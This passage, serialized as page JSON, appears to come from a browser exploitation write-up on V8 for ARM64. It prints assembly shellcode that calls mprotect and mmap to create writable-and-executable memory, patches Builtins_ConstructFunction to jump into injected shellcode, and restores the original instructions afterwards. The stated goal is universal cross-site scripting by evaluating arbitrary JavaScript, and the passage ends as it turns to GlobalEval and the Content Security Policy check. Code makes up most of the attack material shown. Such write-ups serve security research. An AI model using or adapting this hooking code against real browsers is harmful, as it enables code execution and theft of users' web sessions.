x1\n",{"type":21,"tag":198,"props":139973,"children":139974},{"class":200,"line":365},[139975],{"type":21,"tag":198,"props":139976,"children":139977},{},[139978],{"type":27,"value":139979},"mov x5, x0\n",{"type":21,"tag":198,"props":139981,"children":139982},{"class":200,"line":386},[139983],{"type":21,"tag":198,"props":139984,"children":139985},{"emptyLinePlaceholder":16},[139986],{"type":27,"value":1283},{"type":21,"tag":198,"props":139988,"children":139989},{"class":200,"line":408},[139990],{"type":21,"tag":198,"props":139991,"children":139992},{},[139993],{"type":27,"value":139994},"// store x4 = page aligned ConstructFunction\n",{"type":21,"tag":198,"props":139996,"children":139997},{"class":200,"line":429},[139998],{"type":21,"tag":198,"props":139999,"children":140000},{},[140001],{"type":27,"value":140002},"movz x1, #0xf000\n",{"type":21,"tag":198,"props":140004,"children":140005},{"class":200,"line":450},[140006],{"type":21,"tag":198,"props":140007,"children":140008},{},[140009],{"type":27,"value":140010},"movk x1, #0xffff, lsl #16\n",{"type":21,"tag":198,"props":140012,"children":140013},{"class":200,"line":468},[140014],{"type":21,"tag":198,"props":140015,"children":140016},{},[140017],{"type":27,"value":140018},"movk x1, #0xffff, lsl #32\n",{"type":21,"tag":198,"props":140020,"children":140021},{"class":200,"line":477},[140022],{"type":21,"tag":198,"props":140023,"children":140024},{},[140025],{"type":27,"value":140026},"and x4, x5, x1\n",{"type":21,"tag":198,"props":140028,"children":140029},{"class":200,"line":494},[140030],{"type":21,"tag":198,"props":140031,"children":140032},{"emptyLinePlaceholder":16},[140033],{"type":27,"value":1283},{"type":21,"tag":198,"props":140035,"children":140036},{"class":200,"line":515},[140037],{"type":21,"tag":198,"props":140038,"children":140039},{},[140040],{"type":27,"value":140041},"// mprotect page aligned ConstructFunction RWX\n",{"type":21,"tag":198,"props":140043,"children":140044},{"class":200,"line":4484},[140045],{"type":21,"tag":198,"props":140046,"children":140047},{},[140048],{"type":27,"value":140049},"mov x0, x4\n",{"type":21,"tag":198,"props":140051,"children":140052},{"class":200,"line":4493},[140053],{"type":21,"tag":198,"props":140054,"children":140055},{},[140056],{"type":27,"value":140057},"mov x1, #0x2000\n",{"type":21,"tag":198,"props":140059,"children":140060},{"class":200,"line":4561},[140061],{"type":21,"tag":198,"props":140062,"children":140063},{},[140064],{"type":27,"value":140065},"mov x2, #0x7\n",{"type":21,"tag":198,"props":140067,"children":140068},{"class":200,"line":4569},[140069],{"type":21,"tag":198,"props":140070,"children":140071},{},[140072],{"type":27,"value":140073},"mov x8, #226\n",{"type":21,"tag":198,"props":140075,"children":140076},{"class":200,"line":4599},[140077],{"type":21,"tag":198,"props":140078,"children":140079},{},[140080],{"type":27,"value":140081},"svc #0\n",{"type":21,"tag":198,"props":140083,"children":140084},{"class":200,"line":4607},[140085],{"type":21,"tag":198,"props":140086,"children":140087},{"emptyLinePlaceholder":16},[140088],{"type":27,"value":1283},{"type":21,"tag":198,"props":140090,"children":140091},{"class":200,"line":4638},[140092],{"type":21,"tag":198,"props":140093,"children":140094},{},[140095],{"type":27,"value":140096},"mov x6, x5\n",{"type":21,"tag":198,"props":140098,"children":140099},{"class":200,"line":4646},[140100],{"type":21,"tag":198,"props":140101,"children":140102},{"emptyLinePlaceholder":16},[140103],{"type":27,"value":1283},{"type":21,"tag":198,"props":140105,"children":140106},{"class":200,"line":4706},[140107],{"type":21,"tag":198,"props":140108,"children":140109},{},[140110],{"type":27,"value":140111},"// mmap RWX for jump dest (uxss_sc)\n",{"type":21,"tag":198,"props":140113,"children":140114},{"class":200,"line":9857},[140115],{"type":21,"tag":198,"props":140116,"children":140117},{},[140118],{"type":27,"value":140119},"mov x0, #0\n",{"type":21,"tag":198,"props":140121,"children":140122},{"class":200,"line":9875},[140123],{"type":21,"tag":198,"props":140124,"children":140125},{},[140126],{"type":27,"value":140127},"mov x1, #0x1000\n",{"type":21,"tag":198,"props":140129,"children":140130},{"class":200,"line":9920},[140131],{"type":21,"tag":198,"props":140132,"children":140133},{},[140134],{"type":27,"value":140065},{"type":21,"tag":198,"props":140136,"children":140137},{"class":200,"line":10026},[140138],{"type":21,"tag":198,"props":140139,"children":140140},{},[140141],{"type":27,"value":140142},"mov x3, #34\n",{"type":21,"tag":198,"props":140144,"children":140145},{"class":200,"line":24302},[140146],{"type":21,"tag":198,"props":140147,"children":140148},{},[140149],{"type":27,"value":140150},"mov x4, #-1\n",{"type":21,"tag":198,"props":140152,"children":140153},{"class":200,"line":24337},[140154],{"type":21,"tag":198,"props":140155,"children":140156},{},[140157],{"type":27,"value":140158},"mov x5, #0\n",{"type":21,"tag":198,"props":140160,"children":140161},{"class":200,"line":24345},[140162],{"type":21,"tag":198,"props":140163,"children":140164},{},[140165],{"type":27,"value":140166},"mov x8, #222\n",{"type":21,"tag":198,"props":140168,"children":140169},{"class":200,"line":24353},[140170],{"type":21,"tag":198,"props":140171,"children":140172},{},[140173],{"type":27,"value":140081},{"type":21,"tag":198,"props":140175,"children":140176},{"class":200,"line":24362},[140177],{"type":21,"tag":198,"props":140178,"children":140179},{"emptyLinePlaceholder":16},[140180],{"type":27,"value":1283},{"type":21,"tag":198,"props":140182,"children":140183},{"class":200,"line":24404},[140184],{"type":21,"tag":198,"props":140185,"children":140186},{},[140187],{"type":27,"value":139979},{"type":21,"tag":198,"props":140189,"children":140190},{"class":200,"line":24437},[140191],{"type":21,"tag":198,"props":140192,"children":140193},{"emptyLinePlaceholder":16},[140194],{"type":27,"value":1283},{"type":21,"tag":198,"props":140196,"children":140197},{"class":200,"line":24445},[140198],{"type":21,"tag":198,"props":140199,"children":140200},{},[140201],{"type":27,"value":140202},"// at this point:\n",{"type":21,"tag":198,"props":140204,"children":140205},{"class":200,"line":24453},[140206],{"type":21,"tag":198,"props":140207,"children":140208},{},[140209],{"type":27,"value":140210},"// x6 = Builtins_ConstructFunction\n",{"type":21,"tag":198,"props":140212,"children":140213},{"class":200,"line":24462},[140214],{"type":21,"tag":198,"props":140215,"children":140216},{},[140217],{"type":27,"value":140218},"// x5 = mmap page for uxss_sc\n",{"type":21,"tag":198,"props":140220,"children":140221},{"class":200,"line":24538},[140222],{"type":21,"tag":198,"props":140223,"children":140224},{"emptyLinePlaceholder":16},[140225],{"type":27,"value":1283},{"type":21,"tag":198,"props":140227,"children":140228},{"class":200,"line":24571},[140229],{"type":21,"tag":198,"props":140230,"children":140231},{},[140232],{"type":27,"value":140233},"// write uxss_sc to mmaped rwx page\n",{"type":21,"tag":198,"props":140235,"children":140236},{"class":200,"line":24579},[140237],{"type":21,"tag":198,"props":140238,"children":140239},{},[140240],{"type":27,"value":140241},"{write_sc(uxss_sc, \"x5\")}\n",{"type":21,"tag":198,"props":140243,"children":140244},{"class":200,"line":24587},[140245],{"type":21,"tag":198,"props":140246,"children":140247},{"emptyLinePlaceholder":16},[140248],{"type":27,"value":1283},{"type":21,"tag":198,"props":140250,"children":140251},{"class":200,"line":24624},[140252],{"type":21,"tag":198,"props":140253,"children":140254},{},[140255],{"type":27,"value":140256},"// wipe from cache\n",{"type":21,"tag":198,"props":140258,"children":140259},{"class":200,"line":24637},[140260],{"type":21,"tag":198,"props":140261,"children":140262},{},[140263],{"type":27,"value":140264},"mov x0, x5\n",{"type":21,"tag":198,"props":140266,"children":140267},{"class":200,"line":24650},[140268],{"type":21,"tag":198,"props":140269,"children":140270},{},[140271],{"type":27,"value":140272},"{WIPE_CACHE}\n",{"type":21,"tag":198,"props":140274,"children":140275},{"class":200,"line":24663},[140276],{"type":21,"tag":198,"props":140277,"children":140278},{"emptyLinePlaceholder":16},[140279],{"type":27,"value":1283},{"type":21,"tag":198,"props":140281,"children":140282},{"class":200,"line":24717},[140283],{"type":21,"tag":198,"props":140284,"children":140285},{},[140286],{"type":27,"value":140287},"// patch Builtins_ConstructFunction\n",{"type":21,"tag":198,"props":140289,"children":140290},{"class":200,"line":24726},[140291],{"type":21,"tag":198,"props":140292,"children":140293},{},[140294],{"type":27,"value":140295},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":21,"tag":198,"props":140297,"children":140298},{"class":200,"line":33067},[140299],{"type":21,"tag":198,"props":140300,"children":140301},{},[140302],{"type":27,"value":140303},"// and add a pointer to uxss_sc just above new instructions\n",{"type":21,"tag":198,"props":140305,"children":140306},{"class":200,"line":33088},[140307],{"type":21,"tag":198,"props":140308,"children":140309},{},[140310],{"type":27,"value":140311},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":21,"tag":198,"props":140313,"children":140314},{"class":200,"line":81333},[140315],{"type":21,"tag":198,"props":140316,"children":140317},{"emptyLinePlaceholder":16},[140318],{"type":27,"value":1283},{"type":21,"tag":198,"props":140320,"children":140321},{"class":200,"line":81346},[140322],{"type":21,"tag":198,"props":140323,"children":140324},{},[140325],{"type":27,"value":140256},{"type":21,"tag":198,"props":140327,"children":140328},{"class":200,"line":81354},[140329],{"type":21,"tag":198,"props":140330,"children":140331},{},[140332],{"type":27,"value":140333},"mov x0, x6\n",{"type":21,"tag":198,"props":140335,"children":140336},{"class":200,"line":81362},[140337],{"type":21,"tag":198,"props":140338,"children":140339},{},[140340],{"type":27,"value":140272},{"type":21,"tag":30,"props":140342,"children":140343},{},[140344,140346,140352,140354,140359,140361,140367],{"type":27,"value":140345},"In the snippet above, ",{"type":21,"tag":194,"props":140347,"children":140349},{"className":140348},[],[140350],{"type":27,"value":140351},"new_compile_instrs",{"type":27,"value":140353}," refers to the instructions written to the beginning of ",{"type":21,"tag":194,"props":140355,"children":140357},{"className":140356},[],[140358],{"type":27,"value":139850},{"type":27,"value":140360}," that invoke the ",{"type":21,"tag":194,"props":140362,"children":140364},{"className":140363},[],[140365],{"type":27,"value":140366},"uxss_sc",{"type":27,"value":140368}," mmap-ed shellcode:",{"type":21,"tag":187,"props":140370,"children":140372},{"code":140371,"language":139903,"meta":7,"className":139904,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[140373],{"type":21,"tag":194,"props":140374,"children":140375},{"__ignoreMap":7},[140376,140384,140391,140399,140407,140414,140422,140430,140437,140445,140453,140460,140468],{"type":21,"tag":198,"props":140377,"children":140378},{"class":200,"line":201},[140379],{"type":21,"tag":198,"props":140380,"children":140381},{},[140382],{"type":27,"value":140383},"bti c\n",{"type":21,"tag":198,"props":140385,"children":140386},{"class":200,"line":217},[140387],{"type":21,"tag":198,"props":140388,"children":140389},{"emptyLinePlaceholder":16},[140390],{"type":27,"value":1283},{"type":21,"tag":198,"props":140392,"children":140393},{"class":200,"line":236},[140394],{"type":21,"tag":198,"props":140395,"children":140396},{},[140397],{"type":27,"value":140398},"// store registers that will be overwritten\n",{"type":21,"tag":198,"props":140400,"children":140401},{"class":200,"line":260},[140402],{"type":21,"tag":198,"props":140403,"children":140404},{},[140405],{"type":27,"value":140406},"stp x15, lr, [sp, #-16]!\n",{"type":21,"tag":198,"props":140408,"children":140409},{"class":200,"line":281},[140410],{"type":21,"tag":198,"props":140411,"children":140412},{"emptyLinePlaceholder":16},[140413],{"type":27,"value":1283},{"type":21,"tag":198,"props":140415,"children":140416},{"class":200,"line":302},[140417],{"type":21,"tag":198,"props":140418,"children":140419},{},[140420],{"type":27,"value":140421},"// get current rip into x15\n",{"type":21,"tag":198,"props":140423,"children":140424},{"class":200,"line":323},[140425],{"type":21,"tag":198,"props":140426,"children":140427},{},[140428],{"type":27,"value":140429},"adr x15, .\n",{"type":21,"tag":198,"props":140431,"children":140432},{"class":200,"line":344},[140433],{"type":21,"tag":198,"props":140434,"children":140435},{"emptyLinePlaceholder":16},[140436],{"type":27,"value":1283},{"type":21,"tag":198,"props":140438,"children":140439},{"class":200,"line":365},[140440],{"type":21,"tag":198,"props":140441,"children":140442},{},[140443],{"type":27,"value":140444},"// load the uxss_sc pointer saved just above new instructions\n",{"type":21,"tag":198,"props":140446,"children":140447},{"class":200,"line":386},[140448],{"type":21,"tag":198,"props":140449,"children":140450},{},[140451],{"type":27,"value":140452},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":21,"tag":198,"props":140454,"children":140455},{"class":200,"line":408},[140456],{"type":21,"tag":198,"props":140457,"children":140458},{"emptyLinePlaceholder":16},[140459],{"type":27,"value":1283},{"type":21,"tag":198,"props":140461,"children":140462},{"class":200,"line":429},[140463],{"type":21,"tag":198,"props":140464,"children":140465},{},[140466],{"type":27,"value":140467},"// jump to uxss_sc\n",{"type":21,"tag":198,"props":140469,"children":140470},{"class":200,"line":450},[140471],{"type":21,"tag":198,"props":140472,"children":140473},{},[140474],{"type":27,"value":140475},"blr x15\n",{"type":21,"tag":30,"props":140477,"children":140478},{},[140479,140484,140486,140491],{"type":21,"tag":194,"props":140480,"children":140482},{"className":140481},[],[140483],{"type":27,"value":140366},{"type":27,"value":140485}," is the mmap-ed shellcode invoked by the patched ",{"type":21,"tag":194,"props":140487,"children":140489},{"className":140488},[],[140490],{"type":27,"value":139850},{"type":27,"value":140492}," to execute our XSS payload. Its prologue looks like this:",{"type":21,"tag":187,"props":140494,"children":140496},{"code":140495,"language":139903,"meta":7,"className":139904,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[140497],{"type":21,"tag":194,"props":140498,"children":140499},{"__ignoreMap":7},[140500,140507,140514,140522,140530,140538,140546,140554,140562,140570,140578,140586,140594,140602,140610,140618,140626,140634,140642],{"type":21,"tag":198,"props":140501,"children":140502},{"class":200,"line":201},[140503],{"type":21,"tag":198,"props":140504,"children":140505},{},[140506],{"type":27,"value":140383},{"type":21,"tag":198,"props":140508,"children":140509},{"class":200,"line":217},[140510],{"type":21,"tag":198,"props":140511,"children":140512},{"emptyLinePlaceholder":16},[140513],{"type":27,"value":1283},{"type":21,"tag":198,"props":140515,"children":140516},{"class":200,"line":236},[140517],{"type":21,"tag":198,"props":140518,"children":140519},{},[140520],{"type":27,"value":140521},"// Save full register context\n",{"type":21,"tag":198,"props":140523,"children":140524},{"class":200,"line":260},[140525],{"type":21,"tag":198,"props":140526,"children":140527},{},[140528],{"type":27,"value":140529},"stp x0, x1, [sp, #-16]!\n",{"type":21,"tag":198,"props":140531,"children":140532},{"class":200,"line":281},[140533],{"type":21,"tag":198,"props":140534,"children":140535},{},[140536],{"type":27,"value":140537},"stp x2, x3, [sp, #-16]!\n",{"type":21,"tag":198,"props":140539,"children":140540},{"class":200,"line":302},[140541],{"type":21,"tag":198,"props":140542,"children":140543},{},[140544],{"type":27,"value":140545},"stp x4, x5, [sp, #-16]!\n",{"type":21,"tag":198,"props":140547,"children":140548},{"class":200,"line":323},[140549],{"type":21,"tag":198,"props":140550,"children":140551},{},[140552],{"type":27,"value":140553},"stp x6, x7, [sp, #-16]!\n",{"type":21,"tag":198,"props":140555,"children":140556},{"class":200,"line":344},[140557],{"type":21,"tag":198,"props":140558,"children":140559},{},[140560],{"type":27,"value":140561},"stp x8, x9, [sp, #-16]!\n",{"type":21,"tag":198,"props":140563,"children":140564},{"class":200,"line":365},[140565],{"type":21,"tag":198,"props":140566,"children":140567},{},[140568],{"type":27,"value":140569},"stp x10, x11, [sp, #-16]!\n",{"type":21,"tag":198,"props":140571,"children":140572},{"class":200,"line":386},[140573],{"type":21,"tag":198,"props":140574,"children":140575},{},[140576],{"type":27,"value":140577},"stp x12, x13, [sp, #-16]!\n",{"type":21,"tag":198,"props":140579,"children":140580},{"class":200,"line":408},[140581],{"type":21,"tag":198,"props":140582,"children":140583},{},[140584],{"type":27,"value":140585},"stp x14, x15, [sp, #-16]!\n",{"type":21,"tag":198,"props":140587,"children":140588},{"class":200,"line":429},[140589],{"type":21,"tag":198,"props":140590,"children":140591},{},[140592],{"type":27,"value":140593},"stp x16, x17, [sp, #-16]!\n",{"type":21,"tag":198,"props":140595,"children":140596},{"class":200,"line":450},[140597],{"type":21,"tag":198,"props":140598,"children":140599},{},[140600],{"type":27,"value":140601},"stp x18, x19, [sp, #-16]!\n",{"type":21,"tag":198,"props":140603,"children":140604},{"class":200,"line":468},[140605],{"type":21,"tag":198,"props":140606,"children":140607},{},[140608],{"type":27,"value":140609},"stp x20, x21, [sp, #-16]!\n",{"type":21,"tag":198,"props":140611,"children":140612},{"class":200,"line":477},[140613],{"type":21,"tag":198,"props":140614,"children":140615},{},[140616],{"type":27,"value":140617},"stp x22, x23, [sp, #-16]!\n",{"type":21,"tag":198,"props":140619,"children":140620},{"class":200,"line":494},[140621],{"type":21,"tag":198,"props":140622,"children":140623},{},[140624],{"type":27,"value":140625},"stp x24, x25, [sp, #-16]!\n",{"type":21,"tag":198,"props":140627,"children":140628},{"class":200,"line":515},[140629],{"type":21,"tag":198,"props":140630,"children":140631},{},[140632],{"type":27,"value":140633},"stp x26, x27, [sp, #-16]!\n",{"type":21,"tag":198,"props":140635,"children":140636},{"class":200,"line":4484},[140637],{"type":21,"tag":198,"props":140638,"children":140639},{},[140640],{"type":27,"value":140641},"stp x28, x29, [sp, #-16]!\n",{"type":21,"tag":198,"props":140643,"children":140644},{"class":200,"line":4493},[140645],{"type":21,"tag":198,"props":140646,"children":140647},{},[140648],{"type":27,"value":140649},"str lr, [sp, #-16]!\n",{"type":21,"tag":30,"props":140651,"children":140652},{},[140653],{"type":27,"value":140654},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":21,"tag":30,"props":140656,"children":140657},{},[140658,140660,140665],{"type":27,"value":140659},"The epilogue restores all saved registers, restores the original instructions in ",{"type":21,"tag":194,"props":140661,"children":140663},{"className":140662},[],[140664],{"type":27,"value":139850},{"type":27,"value":140666},", and then returns execution to its beginning:",{"type":21,"tag":187,"props":140668,"children":140670},{"code":140669,"language":139903,"meta":7,"className":139904,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[140671],{"type":21,"tag":194,"props":140672,"children":140673},{"__ignoreMap":7},[140674,140682,140690,140698,140706,140714,140721,140728,140736,140743,140750,140758,140766,140774,140782,140790,140798,140806,140814,140822,140830,140838,140846,140854,140862,140870,140878,140885,140893,140901,140909,140917,140925,140932,140940,140948,140955],{"type":21,"tag":198,"props":140675,"children":140676},{"class":200,"line":201},[140677],{"type":21,"tag":198,"props":140678,"children":140679},{},[140680],{"type":27,"value":140681},"// restore original instructions of Builtins_ConstructFunction\n",{"type":21,"tag":198,"props":140683,"children":140684},{"class":200,"line":217},[140685],{"type":21,"tag":198,"props":140686,"children":140687},{},[140688],{"type":27,"value":140689},"ldr lr, [sp], #16\n",{"type":21,"tag":198,"props":140691,"children":140692},{"class":200,"line":236},[140693],{"type":21,"tag":198,"props":140694,"children":140695},{},[140696],{"type":27,"value":140697},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":21,"tag":198,"props":140699,"children":140700},{"class":200,"line":260},[140701],{"type":21,"tag":198,"props":140702,"children":140703},{},[140704],{"type":27,"value":140705},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":21,"tag":198,"props":140707,"children":140708},{"class":200,"line":281},[140709],{"type":21,"tag":198,"props":140710,"children":140711},{},[140712],{"type":27,"value":140713},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":21,"tag":198,"props":140715,"children":140716},{"class":200,"line":302},[140717],{"type":21,"tag":198,"props":140718,"children":140719},{"emptyLinePlaceholder":16},[140720],{"type":27,"value":1283},{"type":21,"tag":198,"props":140722,"children":140723},{"class":200,"line":323},[140724],{"type":21,"tag":198,"props":140725,"children":140726},{},[140727],{"type":27,"value":140256},{"type":21,"tag":198,"props":140729,"children":140730},{"class":200,"line":344},[140731],{"type":21,"tag":198,"props":140732,"children":140733},{},[140734],{"type":27,"value":140735},"mov x0, lr\n",{"type":21,"tag":198,"props":140737,"children":140738},{"class":200,"line":365},[140739],{"type":21,"tag":198,"props":140740,"children":140741},{},[140742],{"type":27,"value":140272},{"type":21,"tag":198,"props":140744,"children":140745},{"class":200,"line":386},[140746],{"type":21,"tag":198,"props":140747,"children":140748},{"emptyLinePlaceholder":16},[140749],{"type":27,"value":1283},{"type":21,"tag":198,"props":140751,"children":140752},{"class":200,"line":408},[140753],{"type":21,"tag":198,"props":140754,"children":140755},{},[140756],{"type":27,"value":140757},"// restore original registers\n",{"type":21,"tag":198,"props":140759,"children":140760},{"class":200,"line":429},[140761],{"type":21,"tag":198,"props":140762,"children":140763},{},[140764],{"type":27,"value":140765},"ldp x28, x29, [sp], #16\n",{"type":21,"tag":198,"props":140767,"children":140768},{"class":200,"line":450},[140769],{"type":21,"tag":198,"props":140770,"children":140771},{},[140772],{"type":27,"value":140773},"ldp x26, x27, [sp], #16\n",{"type":21,"tag":198,"props":140775,"children":140776},{"class":200,"line":468},[140777],{"type":21,"tag":198,"props":140778,"children":140779},{},[140780],{"type":27,"value":140781},"ldp x24, x25, [sp], #16\n",{"type":21,"tag":198,"props":140783,"children":140784},{"class":200,"line":477},[140785],{"type":21,"tag":198,"props":140786,"children":140787},{},[140788],{"type":27,"value":140789},"ldp x22, x23, [sp], #16\n",{"type":21,"tag":198,"props":140791,"children":140792},{"class":200,"line":494},[140793],{"type":21,"tag":198,"props":140794,"children":140795},{},[140796],{"type":27,"value":140797},"ldp x20, x21, [sp], #16\n",{"type":21,"tag":198,"props":140799,"children":140800},{"class":200,"line":515},[140801],{"type":21,"tag":198,"props":140802,"children":140803},{},[140804],{"type":27,"value":140805},"ldp x18, x19, [sp], #16\n",{"type":21,"tag":198,"props":140807,"children":140808},{"class":200,"line":4484},[140809],{"type":21,"tag":198,"props":140810,"children":140811},{},[140812],{"type":27,"value":140813},"ldp x16, x17, [sp], #16\n",{"type":21,"tag":198,"props":140815,"children":140816},{"class":200,"line":4493},[140817],{"type":21,"tag":198,"props":140818,"children":140819},{},[140820],{"type":27,"value":140821},"ldp x14, x15, [sp], #16\n",{"type":21,"tag":198,"props":140823,"children":140824},{"class":200,"line":4561},[140825],{"type":21,"tag":198,"props":140826,"children":140827},{},[140828],{"type":27,"value":140829},"ldp x12, x13, [sp], #16\n",{"type":21,"tag":198,"props":140831,"children":140832},{"class":200,"line":4569},[140833],{"type":21,"tag":198,"props":140834,"children":140835},{},[140836],{"type":27,"value":140837},"ldp x10, x11, [sp], #16\n",{"type":21,"tag":198,"props":140839,"children":140840},{"class":200,"line":4599},[140841],{"type":21,"tag":198,"props":140842,"children":140843},{},[140844],{"type":27,"value":140845},"ldp x8, x9, [sp], #16\n",{"type":21,"tag":198,"props":140847,"children":140848},{"class":200,"line":4607},[140849],{"type":21,"tag":198,"props":140850,"children":140851},{},[140852],{"type":27,"value":140853},"ldp x6, x7, [sp], #16\n",{"type":21,"tag":198,"props":140855,"children":140856},{"class":200,"line":4638},[140857],{"type":21,"tag":198,"props":140858,"children":140859},{},[140860],{"type":27,"value":140861},"ldp x4, x5, [sp], #16\n",{"type":21,"tag":198,"props":140863,"children":140864},{"class":200,"line":4646},[140865],{"type":21,"tag":198,"props":140866,"children":140867},{},[140868],{"type":27,"value":140869},"ldp x2, x3, [sp], #16\n",{"type":21,"tag":198,"props":140871,"children":140872},{"class":200,"line":4706},[140873],{"type":21,"tag":198,"props":140874,"children":140875},{},[140876],{"type":27,"value":140877},"ldp x0, x1, [sp], #16\n",{"type":21,"tag":198,"props":140879,"children":140880},{"class":200,"line":9857},[140881],{"type":21,"tag":198,"props":140882,"children":140883},{"emptyLinePlaceholder":16},[140884],{"type":27,"value":1283},{"type":21,"tag":198,"props":140886,"children":140887},{"class":200,"line":9875},[140888],{"type":21,"tag":198,"props":140889,"children":140890},{},[140891],{"type":27,"value":140892},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":21,"tag":198,"props":140894,"children":140895},{"class":200,"line":9920},[140896],{"type":21,"tag":198,"props":140897,"children":140898},{},[140899],{"type":27,"value":140900},"// it immediately, so we can clobber and use it as a return register.\n",{"type":21,"tag":198,"props":140902,"children":140903},{"class":200,"line":10026},[140904],{"type":21,"tag":198,"props":140905,"children":140906},{},[140907],{"type":27,"value":140908},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":21,"tag":198,"props":140910,"children":140911},{"class":200,"line":24302},[140912],{"type":21,"tag":198,"props":140913,"children":140914},{},[140915],{"type":27,"value":140916},"// where to return\n",{"type":21,"tag":198,"props":140918,"children":140919},{"class":200,"line":24337},[140920],{"type":21,"tag":198,"props":140921,"children":140922},{},[140923],{"type":27,"value":140924},"mov x4, lr\n",{"type":21,"tag":198,"props":140926,"children":140927},{"class":200,"line":24345},[140928],{"type":21,"tag":198,"props":140929,"children":140930},{"emptyLinePlaceholder":16},[140931],{"type":27,"value":1283},{"type":21,"tag":198,"props":140933,"children":140934},{"class":200,"line":24353},[140935],{"type":21,"tag":198,"props":140936,"children":140937},{},[140938],{"type":27,"value":140939},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":21,"tag":198,"props":140941,"children":140942},{"class":200,"line":24362},[140943],{"type":21,"tag":198,"props":140944,"children":140945},{},[140946],{"type":27,"value":140947},"ldp x15, lr, [sp], #16\n",{"type":21,"tag":198,"props":140949,"children":140950},{"class":200,"line":24404},[140951],{"type":21,"tag":198,"props":140952,"children":140953},{"emptyLinePlaceholder":16},[140954],{"type":27,"value":1283},{"type":21,"tag":198,"props":140956,"children":140957},{"class":200,"line":24437},[140958],{"type":21,"tag":198,"props":140959,"children":140960},{},[140961],{"type":27,"value":140962},"ret x4\n",{"type":21,"tag":30,"props":140964,"children":140965},{},[140966,140968,140973,140975,140980,140982,140988],{"type":27,"value":140967},"At this point, we have successfully hooked ",{"type":21,"tag":194,"props":140969,"children":140971},{"className":140970},[],[140972],{"type":27,"value":139850},{"type":27,"value":140974}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":21,"tag":194,"props":140976,"children":140978},{"className":140977},[],[140979],{"type":27,"value":140366},{"type":27,"value":140981}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":21,"tag":194,"props":140983,"children":140985},{"className":140984},[],[140986],{"type":27,"value":140987},"Builtins_GlobalEval",{"type":27,"value":658},{"type":21,"tag":30,"props":140990,"children":140991},{},[140992,140997,140999,141004,141006,141011],{"type":21,"tag":194,"props":140993,"children":140995},{"className":140994},[],[140996],{"type":27,"value":140987},{"type":27,"value":140998}," takes a single ",{"type":21,"tag":194,"props":141000,"children":141002},{"className":141001},[],[141003],{"type":27,"value":993},{"type":27,"value":141005}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":21,"tag":194,"props":141007,"children":141009},{"className":141008},[],[141010],{"type":27,"value":1397},{"type":27,"value":185},{"type":21,"tag":187,"props":141013,"children":141015},{"code":141014,"language":29914,"meta":7,"className":29912,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[141016],{"type":21,"tag":194,"props":141017,"children":141018},{"__ignoreMap":7},[141019,141032,141039,141046,141089,141111,141137],{"type":21,"tag":198,"props":141020,"children":141021},{"class":200,"line":201},[141022,141027],{"type":21,"tag":198,"props":141023,"children":141024},{"style":698},[141025],{"type":27,"value":141026},"BUILTIN",{"type":21,"tag":198,"props":141028,"children":141029},{"style":211},[141030],{"type":27,"value":141031},"(GlobalEval) {\n",{"type":21,"tag":198,"props":141033,"children":141034},{"class":200,"line":217},[141035],{"type":21,"tag":198,"props":141036,"children":141037},{"style":211},[141038],{"type":27,"value":127535},{"type":21,"tag":198,"props":141040,"children":141041},{"class":200,"line":236},[141042],{"type":21,"tag":198,"props":141043,"children":141044},{"emptyLinePlaceholder":16},[141045],{"type":27,"value":1283},{"type":21,"tag":198,"props":141047,"children":141048},{"class":200,"line":260},[141049,141054,141059,141063,141068,141072,141076,141080,141085],{"type":21,"tag":198,"props":141050,"children":141051},{"style":211},[141052],{"type":27,"value":141053}," if 